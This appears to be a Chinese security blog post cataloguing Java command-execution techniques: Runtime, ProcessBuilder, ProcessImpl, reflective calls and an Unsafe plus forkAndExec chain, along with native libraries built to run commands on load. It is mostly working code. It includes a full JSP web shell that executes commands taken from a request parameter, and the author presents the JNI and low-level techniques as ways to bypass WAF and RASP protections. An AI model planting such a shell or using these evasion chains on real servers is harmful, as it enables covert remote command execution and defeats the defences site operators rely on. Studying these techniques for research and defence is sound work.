参考文章:
一直没有怎么对学过的知识进行一下总结,那就先从简单的开始,总结一下在Java中命令执行的一些方式和trick吧
Runtime
1Runtime runtime = Runtime.getRuntime();
2runtime.exec("calc");
反射调用Runtime
1Class runtimeclazz = Class.forName("java.lang.Runtime");
2Method getRuntime = runtimeclazz.getMethod("getRuntime");
3Runtime runtime = (Runtime) getRuntime.invoke(null);
4Method exec = runtimeclazz.getMethod("exec", String.class);
5exec.invoke(runtime, "calc");
Runtime.exec 的调用链如下
sequenceDiagram
participant User
participant Runtime
participant ProcessBuilder
participant UNIXProcess
participant Native
participant OS
User ->> Runtime: exec(command)
Runtime ->> ProcessBuilder: new ProcessBuilder(command).start()
ProcessBuilder ->> UNIXProcess: new UNIXProcess(...)
UNIXProcess ->> Native: forkAndExec(...)
Native ->> OS: fork() / execvp() 或 CreateProcess()
OS ->> Native: 返回 PID
Native ->> UNIXProcess: 返回进程句柄
UNIXProcess ->> ProcessBuilder: 进程已启动
ProcessBuilder ->> Runtime: 返回 Process 对象
可知比Runtime更加底层的命令执行方式还有三个,分别是ProcessBuilder,ProcessImpl,以及native方法forkAndExec
ProcessBuilder
Windows
1ProcessBuilder processBuilder = new ProcessBuilder("cmd","/c","calc");
2processBuilder.start();
Linux
1ProcessBuilder processBuilder = new ProcessBuilder("bash","-c","calc");
2processBuilder.start();
反射调用ProcessBuilder
1Class<?> pbclazz = Class.forName("java.lang.ProcessBuilder");
2Constructor<?> constructor = pbclazz.getConstructor(String[].class);
3ProcessBuilder pb = (ProcessBuilder) constructor.newInstance((Object) new String[]{"cmd.exe", "/c", "calc"});
4Method start = pbclazz.getMethod("start");
5start.invoke(pb);
ProcessImpl/UNIXProcess
在JDK9, UNIXProcess被合并到了ProcessImpl
Windows
1String [] cmd={"cmd.exe","/c","calc"};
2Class processimpl=Class.forName("java.lang.ProcessImpl");
3java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
4m1.setAccessible(true);
5Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
Linux
1String [] cmd={"bash","-c","whoami"};
2Class processimpl=Class.forName("java.lang.ProcessImpl");
3java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
4m1.setAccessible(true);
5Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
反射调用ProcessImpl
1Class<?> piclazz = Class.forName("java.lang.ProcessImpl");
2Method start = piclazz.getDeclaredMethod("start", String[].class,Map.class,String.class,ProcessBuilder.Redirect[].class,boolean.class);
3start.setAccessible(true);
4start.invoke(null,new String[]{"cmd.exe", "/c", "calc"},null,null,null,false);
forkAndExec命令执行-Unsafe+反射+Native方法调用
- 使用
sun.misc.Unsafe.allocateInstance(Class)特性可以无需new或者newInstance创建UNIXProcess/ProcessImpl类对象。 - 反射
UNIXProcess/ProcessImpl类的forkAndExec方法。 - 构造
forkAndExec需要的参数并调用。 - 反射
UNIXProcess/ProcessImpl类的initStreams方法初始化输入输出结果流对象。 - 反射
UNIXProcess/ProcessImpl类的getInputStream方法获取本地命令执行结果(如果要输出流、异常流反射对应方法即可)。
参考:sun.misc.Unsafe · 攻击Java Web应用-[Java Web安全]
Unsafe可以在不调用构造函数的情况下去创建一个实例
1import sun.misc.Unsafe;
2
3import java.lang.reflect.Field;
4import java.lang.reflect.InvocationTargetException;
5import java.lang.reflect.Method;
6
7public class main {
8 public static byte[] toCString(String s) {
9 if (s == null)
10 return null;
11 byte[] bytes = s.getBytes();
12 byte[] result = new byte[bytes.length + 1];
13 System.arraycopy(bytes, 0,
14 result, 0,
15 bytes.length);
16 result[result.length - 1] = (byte) 0;
17 return result;
18 }
19 public static void main(String[] args) throws NoSuchMethodException, ClassNotFoundException, InvocationTargetException, IllegalAccessException, NoSuchFieldException, InstantiationException {
20// String [] cmd={"bash","-c","gnome-calculator"};
21// Class processimpl=Class.forName("java.lang.ProcessImpl");
22// java.lang.reflect.Method m1=processimpl.getDeclaredMethod("start", String[].class, java.util.Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
23// m1.setAccessible(true);
24// Process p=(Process) m1.invoke(processimpl,cmd,null,null,null,false);
25
26 String[] strs ={"bash","-c","gnome-calculator"};
27
28 byte[][] argss = new byte[strs.length - 1][];
29 int size = argss.length; // For added NUL bytes
30
31 for (int i = 0; i < argss.length; i++) {
32 argss[i] = strs[i + 1].getBytes();
33 size += argss[i].length;
34 }
35
36
37 byte[] argBlock = new byte[size];
38
39 int i = 0;
40
41 for (byte[] arg : argss) {
42 System.arraycopy(arg, 0, argBlock, i, arg.length);
43 i += arg.length + 1;
44 // No need to write NUL bytes explicitly
45 }
46
47 Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
48 theUnsafeField.setAccessible(true);
49 Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
50
51 Class processclazz;
52 try {
53 processclazz = Class.forName("java.lang.UNIXProcess");
54 } catch (ClassNotFoundException e) {
55 processclazz = Class.forName("java.lang.ProcessImpl");
56 }
57 Object process = unsafe.allocateInstance(processclazz);
58
59 int[] envc = new int[1];
60 int[] std_fds = new int[]{-1, -1, -1};
61 Field launchMechanismField = processclazz.getDeclaredField("launchMechanism");
62 Field helperpathField = processclazz.getDeclaredField("helperpath");
63 launchMechanismField.setAccessible(true);
64 helperpathField.setAccessible(true);
65 Object launchMechanismObject = launchMechanismField.get(process);
66 byte[] helperpathObject = (byte[]) helperpathField.get(process);
67
68 int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
69
70 Method forkMethod = processclazz.getDeclaredMethod("forkAndExec", new Class[]{
71 int.class, byte[].class, byte[].class, byte[].class, int.class,
72 byte[].class, int.class, byte[].class, int[].class, boolean.class
73 });
74 forkMethod.setAccessible(true);
75 int pid = (int) forkMethod.invoke(process, new Object[]{
76 ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, argss.length,
77 null, envc[0], null, std_fds, false
78 });
79
80 }
81
82}
Jsp示例:
1<%@ page contentType="text/html;charset=UTF-8" language="java" %>
2<%@ page import="sun.misc.Unsafe" %>
3<%@ page import="java.io.ByteArrayOutputStream" %>
4<%@ page import="java.io.InputStream" %>
5<%@ page import="java.lang.reflect.Field" %>
6<%@ page import="java.lang.reflect.Method" %>
7<%!
8 byte[] toCString(String s) {
9 if (s == null)
10 return null;
11 byte[] bytes = s.getBytes();
12 byte[] result = new byte[bytes.length + 1];
13 System.arraycopy(bytes, 0,
14 result, 0,
15 bytes.length);
16 result[result.length - 1] = (byte) 0;
17 return result;
18 }
19
20
21%>
22<%
23 String[] strs = request.getParameterValues("cmd");
24
25 if (strs != null) {
26 Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
27 theUnsafeField.setAccessible(true);
28 Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
29
30 Class processClass = null;
31
32 try {
33 processClass = Class.forName("java.lang.UNIXProcess");
34 } catch (ClassNotFoundException e) {
35 processClass = Class.forName("java.lang.ProcessImpl");
36 }
37
38 Object processObject = unsafe.allocateInstance(processClass);
39
40 // Convert arguments to a contiguous block; it's easier to do
41 // memory management in Java than in C.
42 byte[][] args = new byte[strs.length - 1][];
43 int size = args.length; // For added NUL bytes
44
45 for (int i = 0; i < args.length; i++) {
46 args[i] = strs[i + 1].getBytes();
47 size += args[i].length;
48 }
49
50 byte[] argBlock = new byte[size];
51 int i = 0;
52
53 for (byte[] arg : args) {
54 System.arraycopy(arg, 0, argBlock, i, arg.length);
55 i += arg.length + 1;
56 // No need to write NUL bytes explicitly
57 }
58
59 int[] envc = new int[1];
60 int[] std_fds = new int[]{-1, -1, -1};
61 Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
62 Field helperpathField = processClass.getDeclaredField("helperpath");
63 launchMechanismField.setAccessible(true);
64 helperpathField.setAccessible(true);
65 Object launchMechanismObject = launchMechanismField.get(processObject);
66 byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
67
68 int ordinal = (int) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
69
70 Method forkMethod = processClass.getDeclaredMethod("forkAndExec", new Class[]{
71 int.class, byte[].class, byte[].class, byte[].class, int.class,
72 byte[].class, int.class, byte[].class, int[].class, boolean.class
73 });
74
75 forkMethod.setAccessible(true);// 设置访问权限
76
77 int pid = (int) forkMethod.invoke(processObject, new Object[]{
78 ordinal + 1, helperpathObject, toCString(strs[0]), argBlock, args.length,
79 null, envc[0], null, std_fds, false
80 });
81
82 // 初始化命令执行结果,将本地命令执行的输出流转换为程序执行结果的输出流
83 Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
84 initStreamsMethod.setAccessible(true);
85 initStreamsMethod.invoke(processObject, std_fds);
86
87 // 获取本地执行结果的输入流
88 Method getInputStreamMethod = processClass.getMethod("getInputStream");
89 getInputStreamMethod.setAccessible(true);
90 InputStream in = (InputStream) getInputStreamMethod.invoke(processObject);
91
92 ByteArrayOutputStream baos = new ByteArrayOutputStream();
93 int a = 0;
94 byte[] b = new byte[1024];
95
96 while ((a = in.read(b)) != -1) {
97 baos.write(b, 0, a);
98 }
99
100 out.println("<pre>");
101 out.println(baos.toString());
102 out.println("</pre>");
103 out.flush();
104 out.close();
105 }
106%>
命令执行的回显
JDK8及以下
1Process process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "whoami"});
2InputStream in = process.getInputStream();
3BufferedReader br = new BufferedReader(new InputStreamReader(in));
4String line;
5StringBuilder sb = new StringBuilder();
6while ((line = br.readLine()) != null) {
7 sb.append(line).append("\n");
8}
9String str = sb.toString();
10System.out.println(str);
JDK8以上
jdk9以后InputStream新增了readAllBytes方法,能够一次性把所有的字节都读完。
1Process process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "whoami"});
2String result = new String(process.getInputStream().readAllBytes());
3System.out.println(result);
通用回显(Scanner)
1Process process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "whoami"});
2InputStream in = process.getInputStream();
3Scanner s = new Scanner(in).useDelimiter("\\a");
4String output = s.hasNext() ? s.next() : "";
5System.out.println(output);
JNI命令执行
JNI(Java Native Interface)是Java平台提供的一种机制,允许Java代码与用其他语言(如C、C++)编写的应用程序和库进行交互。我们可以利用JNI调用我们用C编写的恶意Native方法,实现命令执行,从而绕过一些waf或是RASP。
JNI详细参考:Java Native Interface (JNI) - Java Programming Tutorial
C Program
编译命令
linux
gcc -fPIC -I $JAVA_HOME/include -I $JAVA_HOME/include/linux -shared -o libcmd.so EvilClass.c
windows
gcc -fPIC -I "%JAVA_HOME%\include" -I "%JAVA_HOME%\include\win32" -shared -o libcmd.dll EvilClass.c
通用
JNI_OnLoad
1#include <stdlib.h>
2#include <jni.h>
3JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *reserved) {
4 system("calc");
5 return JNI_VERSION_1_8;
6}
__attribute__((constructor))
1#include <stdio.h>
2#include <stdlib.h>
3
4void __attribute__((constructor)) Evilclazz() {
5 system("calc");
6}
Windows
DLLMain
1#include <Windows.h>
2#include <stdlib.h>
3BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
4
5{
6 switch (ul_reason_for_call)
7 {
8 case DLL_PROCESS_ATTACH:
9
10 // 在DLL加载时执行特定代码
11
12 system("calc");
13 break;
14
15 case DLL_PROCESS_DETACH:
16
17 // 在DLL卸载时执行特定代码
18 break;
19
20 case DLL_THREAD_ATTACH:
21
22 // 在线程连接到DLL时执行特定代码
23 break;
24
25 case DLL_THREAD_DETACH:
26
27 // 在线程从DLL断开时执行特定代码
28 break;
29 }
30 return TRUE;
31}
加载动态链接库
在Java中一般使用System.load和System.loadLibrary加载编译好的库文件
System.load(String filename):必须给出完整绝对路径到具体库文件,不做库名映射与路径搜索;System.loadLibrary(String libname):只给库名,JVM 会自动补前后缀并从java.library.path等路径中搜索。
System.loadLibrary
1System.loadLibrary("libcmd");
loadLibrary的调用链如下
flowchart TD
A["System.loadLibrary"]
B["Runtime.loadLibrary"]
C["Runtime.loadLibrary0"]
D["ClassLoader.loadLibrary (isAbsolute false)"]
E["ClassLoader.findLibrary"]
F["System.mapLibraryName"]
G["Map to platform library name"]
H["Search java library path"]
I["ClassLoader.loadLibrary0"]
J["ClassLoader$NativeLibrary.load"]
A --> B --> C --> D --> E --> F --> G --> H --> I --> J
我们通样也是可以尝试使用更加底层的调用
Runtime.loadLibrary
1Runtime.getRuntime().loadLibrary("libcmd");
Runtime.loadLibrary0
1Runtime runtime = Runtime.getRuntime();
2Class runtimeClass = runtime.getClass();
3Method loadLibrary0 = runtimeClass.getDeclaredMethod("loadLibrary0", Class.class, String.class);
4loadLibrary0.setAccessible(true);
5loadLibrary0.invoke(runtime, main.class, "libcmd");
ClassLoader.loadLibrary
1Class clazzloader = Class.forName("java.lang.ClassLoader");
2Method loadLibrary = clazzloader.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
3loadLibrary.setAccessible(true);
4loadLibrary.invoke(null, main.class, "libcmd", false);
OR
1Class clazzloader = Class.forName("java.lang.ClassLoader");
2Method loadLibrary = clazzloader.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class);
3loadLibrary.setAccessible(true);
4loadLibrary.invoke(null, main.class, "C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll", true);
ClassLoader.loadLibrary0
1Class clazzloader = Class.forName("java.lang.ClassLoader");
2Method loadLibrary = clazzloader.getDeclaredMethod("loadLibrary0", Class.class, File.class);
3loadLibrary.setAccessible(true);
4loadLibrary.invoke(null, main.class, new File("C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll"));
ClassLoader$NativeLibrary.load
1Class<?> nativelib = Class.forName("java.lang.ClassLoader$NativeLibrary");
2Constructor<?> nativelibConstructor = nativelib.getConstructor(Class.class, String.class, boolean.class);
3nativelibConstructor.setAccessible(true);
4Object nativeLibrary = nativelibConstructor.newInstance(main.class, "xrntkk", true);
5Method load = nativelib.getDeclaredMethod("load", String.class, boolean.class);
6load.setAccessible(true);
7load.invoke(nativeLibrary, "C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll", false);
System.load
1System.load("C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll");
load的调用链如下
flowchart TD
A["System.load"]
B["Runtime.load"]
C["Runtime.load0"]
D["ClassLoader.loadLibrary (isAbsolute true)"]
E["ClassLoader.nativeLoad"]
J["ClassLoader.nativeLoad0"]
K["ClassLoader$NativeLibrary.load"]
A --> B --> C --> D --> E --> J --> K
Runtime.load
1Runtime runtime = Runtime.getRuntime();
2runtime.load("C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll");
Runtime.load0
1Runtime runtime = Runtime.getRuntime();
2Class runtimeClass = runtime.getClass();
3Method loadLibrary0 = runtimeClass.getDeclaredMethod("load0", Class.class, String.class);
4loadLibrary0.setAccessible(true);
5loadLibrary0.invoke(runtime, main.class, "C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll");
Unsafe+NativeLibrary
1Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
2theUnsafeField.setAccessible(true);
3Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
4Class<?> nativelib = Class.forName("java.lang.ClassLoader$NativeLibrary");
5Object nativeLibrary = unsafe.allocateInstance(nativelib);
6Method load = nativelib.getDeclaredMethod("load", String.class, boolean.class);
7load.setAccessible(true);
8load.invoke(nativeLibrary, "C:\\Users\\Xrntkk\\IdeaProjects\\RCETest\\libcmd.dll", false);